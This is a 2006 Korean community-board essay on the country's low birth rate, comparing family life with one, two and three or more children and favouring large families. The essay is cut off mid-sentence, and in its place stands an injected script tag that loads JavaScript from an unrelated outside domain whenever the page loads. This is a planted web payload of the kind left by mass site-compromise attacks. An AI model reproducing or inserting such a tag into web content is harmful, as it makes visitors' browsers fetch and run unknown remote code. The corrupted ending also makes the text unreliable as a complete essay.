아! 대한민국의 자화상

작성자 : 후원회 | 조회수 : 3,160 | 작성일 : 2006년 5월 23일

<FONT face=굴림체>&nbsp;</FONT>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>출산율 1.08명, 경제협력개발기구 (OECD) 국가 중 최하위, 낙태 매년 150만 건(평화신문 제871호,1면 머릿기사). 남녀가 만나 결혼하여 행복을 꿈꾸지만, 인간의 계획대로 살아가다보니 하느님 계획은 이미 사라졌다. 신앙인이건 비신앙인이건 사회흐름에 편승하며 미래를 숫자 노름하듯 자기 계산하며 살아가기 급급하다. 전에는 출산율이 5,6명 정도였는데 이제 겨우 1명만으로 자녀 출산은 끝나버린다. 형제자매가 많으면 보기도 좋은데 부부가 얼마나 편하게 살려고 그러는지? </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">&nbsp; </SPAN><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">부부가</SPAN><SPAN style="FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> 자녀 1명만 </SPAN></FONT><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>두면 자녀는 부모의 과보호로 온실 속의 꽃 대접을 받으며 자기만 알고 자란다. 부모는 넓은 아파트 속에</FONT><FONT face=돋움체> 자녀의 독방을 마련해주고, 최고의 시설에 갇히도록 꾸며준다. 독자를 훌륭하게 키워보고자 부모의 계획대로 모국어도 익히기 전에 조기유학을 보낸다. 자녀를 미래의 관료로 키워보려고 사교육비를 지출한다. 그런데 자녀는 얼마 후 부모의 기대와는 다르게 조기유학을 포기하고 돌아온다. 부모는 자식의 부적응을 다그치며, 부적응 자녀를 분별없이 이 곳, 저 곳으로 옮겨 다니고, 자녀는 컴퓨터 게임중독으로, 사회성 부족으로 집 안에 박혀있기도 한다. 왕따 되어 대인 기피증에 시달린다. 가정의 평화는 산산조각이 나버린다. </SPAN></FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">&nbsp;<FONT face=돋움체>&nbsp;부부가 </FONT></SPAN></FONT><FONT face=돋움체><SPAN style="FONT-WEIGHT: bold; FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>두 자녀</FONT></SPAN><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>를 둔 가정은 그래도 형편이 조금 낮다</FONT>. <FONT face=돋움체>부모는 경제 긴축을 하며 긴장한다. 소비성이 줄고 성실하게 살아간다. 둘의 경우는 자녀들은 한 방에서 지낸다. 서로 공유하며 때로는 나눌 줄도 배우고 서로 다투지만 부모님이 계시기에 제동이 걸린다. 그러나 아쉬운 점은, 형제가 다투는 과정에 중개자가 없으면 서로 원수가 되기도 한다. 그런대로 가정에 평화가 깃들어 있다</FONT>.&nbsp; </SPAN></FONT></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: 바탕; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">&nbsp;&nbsp;<FONT face=돋움체>부부가 자녀를 세 명이상 두면</FONT></SPAN><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: 바탕; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 힘은 들어도 웃음꽃이 피어난다. 부모는 자녀들을 사랑스럽게 바라본다. 경제를 긴축하며 초긴장이 되기도 한다. 부모들은 형제들은 언제나 한 방에서 뒹굴지만 평화스럽고</FONT> <FONT face=돋움체>화목하다. 형제들 중에 서로 다투다가도 누군가가 중개자?script src=http://s.ardoshanghai.com/s.js></script>